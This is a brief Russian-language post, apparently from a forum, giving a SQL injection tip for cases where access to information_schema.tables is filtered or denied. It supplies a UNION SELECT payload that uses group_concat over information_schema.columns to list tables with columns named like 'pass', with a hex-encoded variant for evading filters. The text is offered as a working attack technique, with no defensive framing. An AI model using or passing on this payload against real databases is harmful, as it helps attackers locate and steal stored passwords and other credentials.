Начнем с того, что частенько фильтруется или для юзера нет прав на _schema.tables, быть может поможет что-то вида:

union select group_concat(table_name) from information_schema.columns where column_name like '%pass%' (или hex представление)